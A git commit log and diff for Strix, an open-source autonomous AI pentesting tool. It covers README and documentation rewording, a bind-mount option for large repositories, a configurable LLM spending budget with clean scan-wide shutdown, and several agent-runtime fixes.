19 Commits

Author SHA1 Message Date
bearsyankees 96cd61e458 some tools ads 2026-07-03 00:07:59 -04:00
Ayush7614 d84930d947 Clarify S3 existence vs public listing checks in aws skill
Split unauthenticated enumeration into separate head-bucket/HTTP
and s3 ls steps with interpretation guidance per review.
2026-07-02 20:14:13 +05:30
Ayush7614 ff5b96ea40 Address Greptile review feedback on AWS and deserialization skills
- Use head-bucket for S3 existence checks instead of duplicating s3 ls
- Add Node.js to insecure_deserialization frontmatter description
2026-07-02 00:38:03 +05:30
Ayush7614 100f561e91 Add five community security skills for agent specialization
Expand coverage with OAuth flow testing, AWS misconfigurations, prototype
pollution, insecure deserialization, and Django framework playbooks.
2026-07-02 00:35:15 +05:30
Rome Thorstenson f342808d2b test: add unit tests for config loader (strix/config/loader.py) (#596)
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
2026-06-30 04:31:29 -07:00
Dominic White f554523378 Remove collection of unhandled exception error messages from telemetry (#585) 2026-06-29 19:22:06 -07:00
Ahmed Allam 69e82f0258 chore(deps): refresh uv.lock to latest compatible versions (#606) 2026-06-29 19:10:18 -07:00
Ahmed Allam 52ca641679 Update readme (#607) 2026-06-29 19:09:58 -07:00
Ahmed Allam 60d68d85f3 Readme update 2026-06-29 19:00:46 -07:00
Rome Thorstenson 777005a42b fix: stop gracefully with resume hint on persistent RateLimitError (#261) (#593) 2026-06-29 07:31:54 -07:00
Rome Thorstenson 8cdf0683a3 fix(core): collapse child agent initial input into a single user message (#589) 2026-06-29 06:51:47 -07:00
Mads Hvelplund 7141ccff62 Support large target repos with with bind-mount option. (#577)
* fix: resolve pre-commit check failures

- Change RuntimeError to TypeError for type validation in report/writer.py
- Update pyupgrade to v3.21.2 for Python 3.14 compatibility

* chore: add pytest test infrastructure

Mirror the layout introduced on feature/438-token_budget: pytest +
pytest-asyncio dev deps, asyncio_mode auto, a tests.* mypy override, and
pytest in the mypy pre-commit hook deps so the tests/ package type-checks.

* feat: add --mount and large-target pre-flight for local repos (#492)

Large local targets were copied into the sandbox file-by-file via the SDK
LocalDir entry, which stalls on big repos and could leave /workspace empty.

- --mount <path> bind-mounts a host directory read-only at /workspace/<subdir>
  instead of copying it, bypassing the per-file stream.
- A size pre-flight (STRIX_MAX_LOCAL_COPY_MB, default 1024) fails fast with a
  clear message suggesting --mount when a non-mounted local target is too big.

* fix: reject empty --mount paths

An empty or whitespace-only --mount value resolves to the current working
directory and would silently bind-mount it into the sandbox. Reject it.

* fix: dedupe local targets so a dir is never both copied and mounted

If the same directory is passed via --target and --mount (or as duplicate
values), it previously produced two targets — copied AND bind-mounted, and
the copied one could trip the size pre-flight. Dedupe by resolved path,
preferring the bind mount.

* fix: treat non-positive STRIX_MAX_LOCAL_COPY_MB as disabled

Previously a value of 0 (or negative) made every local target count as
oversized, aborting all local scans. Now <= 0 disables the pre-flight.

* fix: log unreadable subtrees during size pre-flight

os.walk silently swallowed directory-listing errors, so a permission-denied
subtree could make a large repo under-count and slip past the pre-flight.
Surface such omissions via an onerror warning.

* docs: document --mount and STRIX_MAX_LOCAL_COPY_MB

Add CLI reference + example for --mount, document the size pre-flight env var,
note the read-only-is-not-a-hard-boundary caveat and that remote repos are not
size-checked, and clarify the backends docstring on when bind mounts apply.

* Update strix/interface/main.py


* Update strix/runtime/docker_client.py


---------
2026-06-22 12:41:42 -04:00
Mads Hvelplund 962d4459d9 Add configurable token / cost usage limits (#576)
* fix: resolve pre-commit check failures

- Change RuntimeError to TypeError for type validation in report/writer.py
- Update pyupgrade to v3.21.2 for Python 3.14 compatibility

* feat(cli): add --max-budget-usd flag

Raises BudgetExceededError in ReportUsageHooks after each LLM call when
accumulated cost reaches the limit, with clean "stopped" status and
child-agent cancellation in non-interactive mode.

* test: add budget enforcement unit tests

7 tests covering no-budget, under-budget, at-limit, over-limit, error
message content, None report state, and exception hierarchy.
Also adds pytest/pytest-asyncio to dev deps and a mypy override for tests.

* fix(budget): validate positive budget and check the live cost ledger

Two hardening fixes for --max-budget-usd enforcement:

- Reject non-positive budgets. ReportUsageHooks now raises ValueError for
  max_budget_usd <= 0, and the CLI validates the flag via a custom argparse
  type so '--max-budget-usd 0' fails fast with a friendly message instead of
  silently killing the scan on the first model response.
- Read the live cost. The budget check now reads ReportState.get_total_llm_cost()
  (the live ledger) instead of the persisted run-record snapshot, so it stays
  accurate even when a usage save fails after a model call.

* fix(budget): stop the entire scan deterministically when the limit is hit

Previously a BudgetExceededError was handled per-agent: it was swallowed in
interactive mode (the loop kept waiting), a child's error escaped its detached
task as an unretrieved-exception warning, the parent was never released from
wait_for_message, and the stop was logged at ERROR with a traceback as if the
agent had failed.

Replace that with a single scan-wide signal on the coordinator:

- AgentCoordinator.trigger_budget_stop() sets a flag and wakes every parked
  agent; wait_for_message returns as soon as the flag is set.
- The run loops check coordinator.budget_stopped and raise to exit cleanly,
  marking themselves 'stopped'. The root's exception reaches run_strix_scan's
  handler, which cancels descendants and tears the scan down once; child
  exceptions are swallowed in their detached task.
- The budget stop is logged at INFO, not as a failure.

This is deterministic regardless of tree depth or which agent first sees the
limit, fixing the interactive/TUI hang where a deep agent's stop never reached
a parked root. Also re-raises BudgetExceededError explicitly in the stream
handler so it can't be mistaken for the LiteLLM 'after shutdown' race.

* fix(budget): treat a budget stop as a clean stop in the TUI

Add an explicit BudgetExceededError handler in the TUI scan thread so that, if
the error ever reaches it, the budget stop is logged as a graceful stop rather
than surfaced as a red scan error by the broad 'except Exception'. The runner
normally absorbs the error and returns cleanly, so this is defensive depth for
a money-spending feature.

* docs(cli): document --max-budget-usd behavior and limitations

Clarify that the budget is cumulative across all agents, checked after each
model response, that the scan stops cleanly (not as a failure), that the value
must be > 0, and that spend can slightly overshoot due to in-flight calls and
best-effort cost estimation.

* Apply suggestions from code review

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-06-22 11:17:08 -04:00
Rudra Dudhat 11e5d1c2b3 fix: route ollama models through ollama_chat so tool calling works (#562)
Co-authored-by: 0xallam <ahmed39652003@gmail.com>
2026-06-15 17:39:21 -07:00
Ahmed Allam cc23eeb65d Bump 1.0.3 -> 1.0.4 (#557) 2026-06-09 09:41:44 -07:00
Ahmed Allam 7217abfe23 Strip ANSI escapes and control bytes from terminal tool output (#554) 2026-06-09 09:22:50 -07:00
Ahmed Allam f7e3af49bd Strip all images from session on vision-rejection, not just the latest (#553) 2026-06-09 02:48:30 -07:00
Ahmed Allam 6202131028 Swallow sandbox container races in the stream consumer (#552) 2026-06-09 01:46:23 -07:00
Ahmed Allam 45409cef0d Make TUI quit instant by SIGKILL-ing the sandbox container (#548) 2026-06-08 23:40:45 -07:00
41 changed files with 3432 additions and 1127 deletions
+2 -1
View File
@@ -19,6 +19,7 @@ repos:
types-python-dateutil,
pydantic,
fastapi,
pytest,
"openai-agents[litellm]==0.14.6",
]
args: [--install-types, --non-interactive]
@@ -46,7 +47,7 @@ repos:
# Additional Python code quality checks
- repo: https://github.com/asottile/pyupgrade
rev: v3.20.0
rev: v3.21.2
hooks:
- id: pyupgrade
args: [--py312-plus]
+44 -43
View File
@@ -8,7 +8,7 @@
# Strix
### Open-source AI hackers to find and fix your apps vulnerabilities.
### The open-source AI pentesting tool. Autonomous AI hackers that find and fix your apps vulnerabilities.
<br/>
@@ -40,15 +40,15 @@
## Strix Overview
Strix are autonomous AI agents that act just like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual proof-of-concepts. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools.
Strix are autonomous AI penetration testing agents that act just like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual proof-of-concepts. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools.
**Key Capabilities:**
- **Full hacker toolkit** out of the box
- **Teams of agents** that collaborate and scale
- **Real validation** with PoCs, not false positives
- **Developerfirst** CLI with actionable reports
- **Autofix & reporting** to accelerate remediation
- **Full pentesting toolkit** - reconnaissance, exploitation, and validation out of the box
- **Multi-agent orchestration** - teams of AI pentesters that collaborate and scale
- **Real exploit validation** - working PoCs, not false positives like legacy vulnerability scanners
- **Developerfirst CLI** - actionable findings with remediation guidance
- **Autofix & reporting** - generate patches and compliance-ready pentest reports
<br>
@@ -95,13 +95,13 @@ strix --target ./app-directory
## ☁️ Strix Platform
Try the Strix full-stack security platform at **[app.strix.ai](https://app.strix.ai)** sign up for free, connect your repos and domains, and launch a pentest in minutes.
Try the Strix full-stack penetration testing platform at **[app.strix.ai](https://app.strix.ai)** - sign up for free, connect your repos and domains, and launch a pentest in minutes.
- **Validated findings with PoCs** and reproduction steps
- **One-click autofix** as ready-to-merge pull requests
- **Continuous monitoring** across code, cloud, and infrastructure
- **Integrations** with GitHub, Slack, Jira, Linear, and CI/CD pipelines
- **Continuous learning** that builds on past findings and remediations
- **Validated findings with PoCs** - every vulnerability includes a working proof-of-concept exploit and reproduction steps
- **One-click autofix** - AI-generated security patches as ready-to-merge pull requests
- **Continuous pentesting** - always-on vulnerability scanning that keeps pace with your deployments
- **DevSecOps integrations** - GitHub, GitLab, Bitbucket, Slack, Jira, Linear, and CI/CD pipelines
- **Continuous learning** - AI that builds on past findings, adapts to your codebase, and reduces false positives over time
[**Start your first pentest →**](https://app.strix.ai)
@@ -109,37 +109,38 @@ Try the Strix full-stack security platform at **[app.strix.ai](https://app.strix
## ✨ Features
### Agentic Security Tools
### Agentic Pentesting Tools
Strix agents come equipped with a comprehensive security testing toolkit:
Strix agents come equipped with a comprehensive offensive security toolkit - the same tools used by professional penetration testers and ethical hackers:
- **Full HTTP Proxy** - Full request/response manipulation and analysis
- **Browser Automation** - Multi-tab browser for testing of XSS, CSRF, auth flows
- **Terminal Environments** - Interactive shells for command execution and testing
- **Python Runtime** - Custom exploit development and validation
- **Reconnaissance** - Automated OSINT and attack surface mapping
- **Code Analysis** - Static and dynamic analysis capabilities
- **Knowledge Management** - Structured findings and attack documentation
- **HTTP Interception Proxy** - Full request/response manipulation and analysis with Caido
- **Browser Exploitation** - Automated browser for testing XSS, CSRF, clickjacking, and auth bypass flows
- **Shell & Command Execution** - Interactive terminal for exploit development and post-exploitation
- **Custom Exploit Runtime** - Python sandbox for writing and validating proof-of-concept exploits
- **Reconnaissance & OSINT** - Automated attack surface mapping, subdomain enumeration, and fingerprinting
- **Static & Dynamic Code Analysis** - SAST + DAST capabilities for comprehensive application security testing
- **Vulnerability Knowledge Base** - Structured findings with CVSS scoring and OWASP classification
### Comprehensive Vulnerability Detection
### Comprehensive Vulnerability Scanner
Strix can identify and validate a wide range of security vulnerabilities:
Strix identifies, validates, and exploits a wide range of security vulnerabilities across the OWASP Top 10 and beyond:
- **Access Control** - IDOR, privilege escalation, auth bypass
- **Injection Attacks** - SQL, NoSQL, command injection
- **Server-Side** - SSRF, XXE, deserialization flaws
- **Client-Side** - XSS, prototype pollution, DOM vulnerabilities
- **Business Logic** - Race conditions, workflow manipulation
- **Authentication** - JWT vulnerabilities, session management
- **Infrastructure** - Misconfigurations, exposed services
- **Broken Access Control** - IDOR, privilege escalation, auth bypass
- **Injection Attacks** - SQL injection, NoSQL injection, OS command injection, SSTI
- **Server-Side Vulnerabilities** - SSRF, XXE, insecure deserialization, RCE
- **Client-Side Attacks** - XSS (stored/reflected/DOM), prototype pollution, CSRF
- **Business Logic Flaws** - Race conditions, payment manipulation, workflow bypass
- **Authentication & Session** - JWT attacks, session fixation, credential stuffing vectors
- **Infrastructure & Cloud** - Misconfigurations, exposed services, cloud security issues
- **API Security** - Broken authentication, mass assignment, rate limiting bypass
### Graph of Agents
### Graph of Agents (Multi-Agent Pentesting)
Advanced multi-agent orchestration for comprehensive security testing:
Advanced multi-agent orchestration for comprehensive automated penetration testing:
- **Distributed Workflows** - Specialized agents for different attacks and assets
- **Scalable Testing** - Parallel execution for fast comprehensive coverage
- **Dynamic Coordination** - Agents collaborate and share discoveries
- **Distributed Pentesting** - Specialized AI agents for recon, exploitation, and post-exploitation
- **Scalable Security Testing** - Parallel execution across multiple targets for fast, comprehensive coverage
- **Dynamic Coordination** - Agents share discoveries, chain vulnerabilities, and collaborate like a red team
---
@@ -182,7 +183,7 @@ strix -n --target ./ --scan-mode quick --scope-mode diff --diff-base origin/main
### Headless Mode
Run Strix programmatically without interactive UI using the `-n/--non-interactive` flagperfect for servers and automated jobs. The CLI prints real-time vulnerability findings, and the final report before exiting. Exits with non-zero code when vulnerabilities are found.
Run Strix programmatically without interactive UI using the `-n/--non-interactive` flag - perfect for servers and automated jobs. The CLI prints real-time vulnerability findings, and the final report before exiting. Exits with non-zero code when vulnerabilities are found.
```bash
strix -n --target https://your-app.com
@@ -239,19 +240,19 @@ export STRIX_REASONING_EFFORT="high" # control thinking effort (default: high,
**Recommended models for best results:**
- [OpenAI GPT-5.4](https://openai.com/api/) `openai/gpt-5.4`
- [Anthropic Claude Sonnet 4.6](https://claude.com/platform/api) `anthropic/claude-sonnet-4-6`
- [Google Gemini 3 Pro Preview](https://cloud.google.com/vertex-ai) `vertex_ai/gemini-3-pro-preview`
- [OpenAI GPT-5.4](https://openai.com/api/) - `openai/gpt-5.4`
- [Anthropic Claude Sonnet 4.6](https://claude.com/platform/api) - `anthropic/claude-sonnet-4-6`
- [Google Gemini 3 Pro Preview](https://cloud.google.com/vertex-ai) - `vertex_ai/gemini-3-pro-preview`
See the [LLM Providers documentation](https://docs.strix.ai/llm-providers/overview) for all supported providers including Vertex AI, Bedrock, Azure, and local models.
## Enterprise
## Enterprise Pentesting
Get the same Strix experience with [enterprise-grade](https://strix.ai/demo) controls: SSO (SAML/OIDC), custom compliance reports, dedicated support & SLA, custom deployment options (VPC/self-hosted), BYOK model support, and tailored agents optimized for your environment. [Learn more](https://strix.ai/demo).
Get the same Strix experience with [enterprise-grade](https://strix.ai/demo) controls: SSO (SAML/OIDC), custom compliance-ready penetration testing reports (SOC 2, ISO 27001, PCI DSS), dedicated support & SLA, custom deployment options (VPC/self-hosted), BYOK model support, and tailored AI pentesting agents optimized for your environment. [Learn more](https://strix.ai/demo).
## Documentation
Full documentation is available at **[docs.strix.ai](https://docs.strix.ai)** including detailed guides for usage, CI/CD integrations, skills, and advanced configuration.
Full documentation is available at **[docs.strix.ai](https://docs.strix.ai)** - including detailed guides for usage, CI/CD integrations, skills, and advanced configuration.
## Contributing
+4
View File
@@ -79,6 +79,10 @@ When remote vars are set, Strix dual-writes telemetry to both local JSONL and th
Runtime backend for the sandbox environment.
</ParamField>
<ParamField path="STRIX_MAX_LOCAL_COPY_MB" default="1024" type="integer">
Maximum size (in MB) of a local directory target that Strix will copy into the sandbox file-by-file. Larger targets exit early with a suggestion to use `--mount` instead. Set to `0` to disable the check.
</ParamField>
## Sandbox Configuration
<ParamField path="STRIX_SANDBOX_EXECUTION_TIMEOUT" default="120" type="integer">
+35
View File
@@ -15,6 +15,20 @@ strix --target <target> [options]
Target to test. Accepts URLs, repositories, local directories, domains, or IP addresses. Can be specified multiple times.
</ParamField>
<ParamField path="--mount" type="string">
Bind-mount a local directory into the sandbox (read-only) instead of copying it in file-by-file. Use this for large repositories that are too big to stream into the container. Can be specified multiple times.
Strix copies local `--target` directories into the sandbox one file at a time, which stalls on very large trees. When a local target exceeds the copy limit (see `STRIX_MAX_LOCAL_COPY_MB`, default 1024 MB) Strix exits early and asks you to re-run with `--mount`.
<Note>
The mount is read-only to protect your source from accidental modification. This is not a hard security boundary: a root process inside the container can remount it writable, so treat `--mount` as "scan my own code", not as isolation from untrusted code.
</Note>
<Note>
The size pre-flight only covers local directory targets. Remote repositories (cloned at scan time) are not size-checked.
</Note>
</ParamField>
<ParamField path="--instruction" type="string">
Custom instructions for the scan. Use for credentials, focus areas, or specific testing approaches.
</ParamField>
@@ -43,6 +57,24 @@ strix --target <target> [options]
Path to a custom config file (JSON) to use instead of `~/.strix/cli-config.json`.
</ParamField>
<ParamField path="--max-budget-usd" type="number">
Maximum LLM spend in USD for the whole scan, counted cumulatively across the
root agent and every child agent. The budget is checked after each model
response; once the running cost reaches the threshold, the scan stops cleanly
with a `stopped` status (not a failure) and the sandbox is torn down.
Must be greater than `0`. Omit the flag for no limit.
**Limitations**
- The check fires *after* a response is returned, so the final spend can
slightly overshoot the limit by any calls already in flight when the
threshold is crossed (most relevant with several child agents running
concurrently).
- Cost is a best-effort estimate derived from token usage and model pricing;
providers that do not expose priced usage may under-count.
</ParamField>
## Examples
```bash
@@ -63,6 +95,9 @@ strix -n --target ./ --scan-mode quick --scope-mode diff --diff-base origin/main
# Multi-target white-box testing
strix -t https://github.com/org/app -t https://staging.example.com
# Large local repository — bind-mount instead of copying it in
strix --mount ./huge-monorepo
```
## Exit Codes
+10 -1
View File
@@ -1,6 +1,6 @@
[project]
name = "strix-agent"
version = "1.0.3"
version = "1.0.4"
description = "Open-source AI Hackers for your apps"
readme = "README.md"
license = "Apache-2.0"
@@ -55,8 +55,13 @@ dev = [
"bandit>=1.8.3",
"pre-commit>=4.2.0",
"pyinstaller>=6.17.0; python_version >= '3.12' and python_version < '3.15'",
"pytest>=8.3",
"pytest-asyncio>=0.24",
]
[tool.pytest.ini_options]
asyncio_mode = "auto"
[build-system]
requires = ["hatchling"]
build-backend = "hatchling.build"
@@ -104,6 +109,10 @@ module = [
ignore_missing_imports = true
disable_error_code = ["import-untyped"]
[[tool.mypy.overrides]]
module = ["tests.*"]
disallow_untyped_decorators = false
# ============================================================================
# Ruff Configuration (Fast Python Linter & Formatter)
# ============================================================================
+2
View File
@@ -39,6 +39,8 @@ class StrixProvider(MultiProvider):
prefix=prefix,
stripped_model_name=stripped_model_name,
)
if prefix == "ollama" and stripped_model_name:
return self._get_fallback_provider("litellm"), f"ollama_chat/{stripped_model_name}"
return self._get_fallback_provider("litellm"), original_model_name
+5
View File
@@ -47,6 +47,11 @@ class RuntimeSettings(BaseSettings):
alias="STRIX_IMAGE",
)
backend: str = Field(default="docker", alias="STRIX_RUNTIME_BACKEND")
# Hard cap on a local target's size before we refuse to stream it into the
# sandbox file-by-file (the SDK copies every file individually, which stalls
# on large repos). Above this, the user must bind-mount via ``--mount``.
# Set to 0 (or less) to disable the pre-flight check entirely.
max_local_copy_mb: int = Field(default=1024, alias="STRIX_MAX_LOCAL_COPY_MB")
class TelemetrySettings(BaseSettings):
+17 -1
View File
@@ -42,10 +42,26 @@ class AgentCoordinator:
self.runtimes: dict[str, AgentRuntime] = {}
self._lock = asyncio.Lock()
self._snapshot_path: Path | None = None
self.is_shutting_down = False
self._budget_stopped = False
def set_snapshot_path(self, path: Path) -> None:
self._snapshot_path = path
def mark_shutting_down(self) -> None:
self.is_shutting_down = True
@property
def budget_stopped(self) -> bool:
return self._budget_stopped
async def trigger_budget_stop(self) -> None:
"""Signal a scan-wide budget stop and wake every parked agent so it exits."""
async with self._lock:
self._budget_stopped = True
for runtime in self.runtimes.values():
runtime.wake.set()
async def register(
self,
agent_id: str,
@@ -139,7 +155,7 @@ class AgentCoordinator:
async def wait_for_message(self, agent_id: str) -> None:
while True:
async with self._lock:
if self.pending_counts.get(agent_id, 0) > 0:
if self._budget_stopped or self.pending_counts.get(agent_id, 0) > 0:
return
wake = self.runtimes.setdefault(agent_id, AgentRuntime()).wake
wake.clear()
+61 -23
View File
@@ -11,10 +11,13 @@ from typing import TYPE_CHECKING, Any, cast
from agents import RunConfig, Runner
from agents.exceptions import AgentsException, MaxTurnsExceeded, UserError
from agents.sandbox.errors import ExecTransportError
from docker import errors as docker_errors # type: ignore[import-untyped, unused-ignore]
from openai import APIError
from strix.core.hooks import BudgetExceededError
from strix.core.inputs import child_initial_input
from strix.core.sessions import open_agent_session, strip_latest_image_from_session
from strix.core.sessions import open_agent_session, strip_all_images_from_session
if TYPE_CHECKING:
@@ -95,6 +98,10 @@ async def run_agent_loop(
except asyncio.CancelledError:
return result
if coordinator.budget_stopped:
await coordinator.set_status(agent_id, "stopped")
raise BudgetExceededError("scan budget reached")
await coordinator.consume_pending(agent_id)
result = await _run_cycle(
agent,
@@ -276,6 +283,10 @@ async def _run_noninteractive_until_lifecycle(
invalid_final_output_limit = max(1, max_turns)
while True:
if coordinator.budget_stopped:
await coordinator.set_status(agent_id, "stopped")
raise BudgetExceededError("scan budget reached")
result = await _run_cycle(
agent,
coordinator,
@@ -320,7 +331,7 @@ async def _run_noninteractive_until_lifecycle(
)
async def _run_cycle( # noqa: PLR0912
async def _run_cycle( # noqa: PLR0912, PLR0915
agent: Any,
coordinator: AgentCoordinator,
agent_id: str,
@@ -356,6 +367,12 @@ async def _run_cycle( # noqa: PLR0912
event_sink(agent_id, event)
except Exception:
logger.exception("stream event sink failed for %s", agent_id)
if stream.run_loop_exception is not None:
raise stream.run_loop_exception
except BudgetExceededError:
# A RuntimeError subclass: re-raise explicitly so it is never
# mistaken for the LiteLLM "after shutdown" race below.
raise
except RuntimeError as stream_exc:
if "after shutdown" not in str(stream_exc):
raise
@@ -363,10 +380,23 @@ async def _run_cycle( # noqa: PLR0912
"Ignoring LiteLLM end-of-stream shutdown race for %s",
agent_id,
)
if stream.run_loop_exception is not None:
raise stream.run_loop_exception
except (ExecTransportError, docker_errors.NotFound):
if not coordinator.is_shutting_down:
raise
logger.warning(
"Ignoring sandbox container error during teardown for %s",
agent_id,
exc_info=True,
)
finally:
await coordinator.detach_stream(agent_id, stream)
except BudgetExceededError as exc:
logger.info(
"agent %s reached the scan budget limit; stopping the scan: %s", agent_id, exc
)
await coordinator.set_status(agent_id, "stopped")
await coordinator.trigger_budget_stop()
raise
except Exception as exc:
if (
image_strips < 3
@@ -374,14 +404,14 @@ async def _run_cycle( # noqa: PLR0912
and getattr(exc, "status_code", None) in _INPUT_REJECTION_CODES
):
try:
stripped = await strip_latest_image_from_session(session)
stripped = await strip_all_images_from_session(session)
except Exception:
logger.exception("image-strip recovery failed for %s", agent_id)
stripped = False
if stripped:
image_strips += 1
logger.info(
"Stripped latest image from %s session after rejection; retrying (%d)",
"Stripped images from %s session after rejection; retrying (%d)",
agent_id,
image_strips,
)
@@ -517,21 +547,29 @@ async def _start_child_runner(
child_ctx["parent_id"] = parent_id
child_ctx["task"] = task
task_handle = asyncio.create_task(
run_agent_loop(
agent=child_agent,
initial_input=initial_input,
run_config=run_config,
context=child_ctx,
max_turns=max_turns,
coordinator=coordinator,
agent_id=child_id,
interactive=interactive,
session=session,
start_parked=start_parked,
event_sink=event_sink,
hooks=hooks,
),
name=f"agent-{name}-{child_id}",
)
async def _child_loop() -> None:
# A budget stop is a clean scan-wide shutdown, not a child failure: the
# child's status and parent notification are already settled in
# ``_run_cycle``. Swallow it here so the detached task does not surface a
# spurious "Task exception was never retrieved" warning. The root agent
# hits the same limit on its next call and tears the scan down.
try:
await run_agent_loop(
agent=child_agent,
initial_input=initial_input,
run_config=run_config,
context=child_ctx,
max_turns=max_turns,
coordinator=coordinator,
agent_id=child_id,
interactive=interactive,
session=session,
start_parked=start_parked,
event_sink=event_sink,
hooks=hooks,
)
except BudgetExceededError:
logger.info("child %s stopped after reaching the scan budget limit", child_id)
task_handle = asyncio.create_task(_child_loop(), name=f"agent-{name}-{child_id}")
await coordinator.attach_runtime(child_id, task=task_handle)
+16 -1
View File
@@ -19,11 +19,19 @@ if TYPE_CHECKING:
logger = logging.getLogger(__name__)
class BudgetExceededError(RuntimeError):
"""Raised when the accumulated LLM cost reaches the configured budget."""
class ReportUsageHooks(RunHooks[dict[str, Any]]):
"""Persist SDK-native usage after every model response."""
def __init__(self, *, model: str) -> None:
def __init__(self, *, model: str, max_budget_usd: float | None = None) -> None:
import math
if max_budget_usd is not None and (not math.isfinite(max_budget_usd) or max_budget_usd <= 0):
raise ValueError("max_budget_usd must be a finite number greater than 0")
self._model = model
self._max_budget_usd = max_budget_usd
async def on_llm_end(
self,
@@ -52,3 +60,10 @@ class ReportUsageHooks(RunHooks[dict[str, Any]]):
)
except Exception:
logger.exception("failed to record SDK usage for agent %s", agent_id)
if self._max_budget_usd is not None:
cost = report_state.get_total_llm_cost()
if cost >= self._max_budget_usd:
raise BudgetExceededError(
f"Token budget of ${self._max_budget_usd:.2f} exceeded (spent ${cost:.4f})"
)
+22 -24
View File
@@ -44,7 +44,8 @@ def build_root_task(scan_config: dict[str, Any]) -> str:
)
elif ttype == "local_code":
path = details.get("target_path", "unknown")
sections["Local Codebases"].append(f"- {path} (available at: {workspace_path})")
suffix = ", read-only mount" if details.get("mount") else ""
sections["Local Codebases"].append(f"- {path} (available at: {workspace_path}{suffix})")
elif ttype == "web_application":
sections["URLs"].append(f"- {details.get('target_url', '')}")
elif ttype == "ip_address":
@@ -135,30 +136,27 @@ def child_initial_input(
task: str,
parent_history: list[Any],
) -> list[dict[str, Any]]:
initial_input: list[dict[str, Any]] = []
"""Build the initial input for a child agent as a single user message.
Collapsing the inherited-context block, the identity line, and the task into
one ``{"role": "user"}`` message keeps providers that require strictly
alternating roles (e.g. Perplexity, llama.cpp) from rejecting consecutive
user messages.
"""
parts: list[str] = []
if parent_history:
rendered = json.dumps(parent_history, ensure_ascii=False, default=str)
initial_input.append(
{
"role": "user",
"content": (
"== Inherited context from parent (background only) ==\n"
f"{rendered}\n"
"== End of inherited context ==\n"
"Use the above as background only; do not continue the "
"parent's work. Your task follows."
),
},
parts.append(
"== Inherited context from parent (background only) ==\n"
f"{rendered}\n"
"== End of inherited context ==\n"
"Use the above as background only; do not continue the "
"parent's work. Your task follows.",
)
initial_input.append(
{
"role": "user",
"content": (
f"You are agent {name} ({child_id}); your parent is {parent_id}. "
"Maintain your own identity. Call agent_finish when your task "
"is complete."
),
}
parts.append(
f"You are agent {name} ({child_id}); your parent is {parent_id}. "
"Maintain your own identity. Call agent_finish when your task "
"is complete.",
)
initial_input.append({"role": "user", "content": task})
return initial_input
parts.append(task)
return [{"role": "user", "content": "\n\n".join(parts)}]
+25 -3
View File
@@ -11,6 +11,7 @@ from typing import TYPE_CHECKING, Any
from agents import RunConfig
from agents.sandbox import SandboxRunConfig
from openai import RateLimitError
from strix.agents.factory import build_strix_agent, make_child_factory
from strix.config import load_settings
@@ -27,7 +28,7 @@ from strix.core.execution import (
from strix.core.execution import (
spawn_child_agent as start_child_agent,
)
from strix.core.hooks import ReportUsageHooks
from strix.core.hooks import BudgetExceededError, ReportUsageHooks
from strix.core.inputs import (
DEFAULT_MAX_TURNS,
build_root_task,
@@ -55,10 +56,11 @@ async def run_strix_scan(
scan_config: dict[str, Any],
scan_id: str | None = None,
image: str,
local_sources: list[dict[str, str]] | None = None,
local_sources: list[dict[str, Any]] | None = None,
coordinator: AgentCoordinator | None = None,
interactive: bool = False,
max_turns: int = DEFAULT_MAX_TURNS,
max_budget_usd: float | None = None,
model: str | None = None,
cleanup_on_exit: bool = True,
event_sink: StreamEventSink | None = None,
@@ -164,7 +166,7 @@ async def run_strix_scan(
sandbox=SandboxRunConfig(client=bundle["client"], session=bundle["session"]),
trace_include_sensitive_data=False,
)
hooks = ReportUsageHooks(model=resolved_model)
hooks = ReportUsageHooks(model=resolved_model, max_budget_usd=max_budget_usd)
scope_context = build_scope_context(scan_config)
@@ -300,6 +302,26 @@ async def run_strix_scan(
str(final)[:300],
)
return result # noqa: TRY300
except BudgetExceededError as exc:
logger.info("Scan %s stopped: %s", scan_id, exc)
if root_id is not None:
await coordinator.cancel_descendants(root_id)
with contextlib.suppress(Exception):
await coordinator.set_status(root_id, "stopped")
return None
except RateLimitError as exc:
logger.warning(
"Scan %s stopped: persistent rate limit from the LLM provider (%s). "
"Resume with 'strix --resume %s' once the limit clears.",
scan_id,
exc,
scan_id,
)
if root_id is not None:
await coordinator.cancel_descendants(root_id)
with contextlib.suppress(Exception):
await coordinator.set_status(root_id, "stopped")
return None
except BaseException:
logger.exception("Strix scan %s failed", scan_id)
if root_id is not None:
+34 -19
View File
@@ -2,7 +2,8 @@
from __future__ import annotations
from typing import TYPE_CHECKING, cast
import contextlib
from typing import TYPE_CHECKING, Any, cast
from agents.memory import SQLiteSession
@@ -22,29 +23,43 @@ def open_agent_session(agent_id: str, path: Path) -> SQLiteSession:
_IMAGE_REJECTED_TEXT = "[image rejected by the model]"
async def strip_latest_image_from_session(session: Session) -> bool:
async def strip_all_images_from_session(session: Session) -> bool:
items = await session.get_items()
if not items:
return False
latest = items[-1]
if not isinstance(latest, dict) or latest.get("type") != "function_call_output":
return False
output = latest.get("output")
if not isinstance(output, list):
return False
if not any(isinstance(b, dict) and b.get("type") == "input_image" for b in output):
return False
await session.pop_item()
await session.add_items(
cast(
"list[TResponseInputItem]",
[
rebuilt: list[Any] = []
changed = False
for item in items:
item_dict = cast("dict[str, Any]", item) if isinstance(item, dict) else None
if (
item_dict is not None
and item_dict.get("type") == "function_call_output"
and isinstance(item_dict.get("output"), list)
and any(
isinstance(b, dict) and b.get("type") == "input_image" for b in item_dict["output"]
)
):
rebuilt.append(
{
"type": "function_call_output",
"call_id": latest.get("call_id"),
"call_id": item_dict.get("call_id"),
"output": [{"type": "input_text", "text": _IMAGE_REJECTED_TEXT}],
},
],
),
)
)
changed = True
else:
rebuilt.append(item)
if not changed:
return False
rebuilt_items = cast("list[TResponseInputItem]", rebuilt)
await session.clear_session()
try:
await session.add_items(rebuilt_items)
except Exception:
with contextlib.suppress(Exception):
await session.add_items(rebuilt_items)
raise
return True
+1
View File
@@ -183,6 +183,7 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
image=_resolve_sandbox_image(),
local_sources=getattr(args, "local_sources", None) or [],
interactive=bool(getattr(args, "interactive", False)),
max_budget_usd=getattr(args, "max_budget_usd", None),
)
finally:
stop_updates.set()
+62 -8
View File
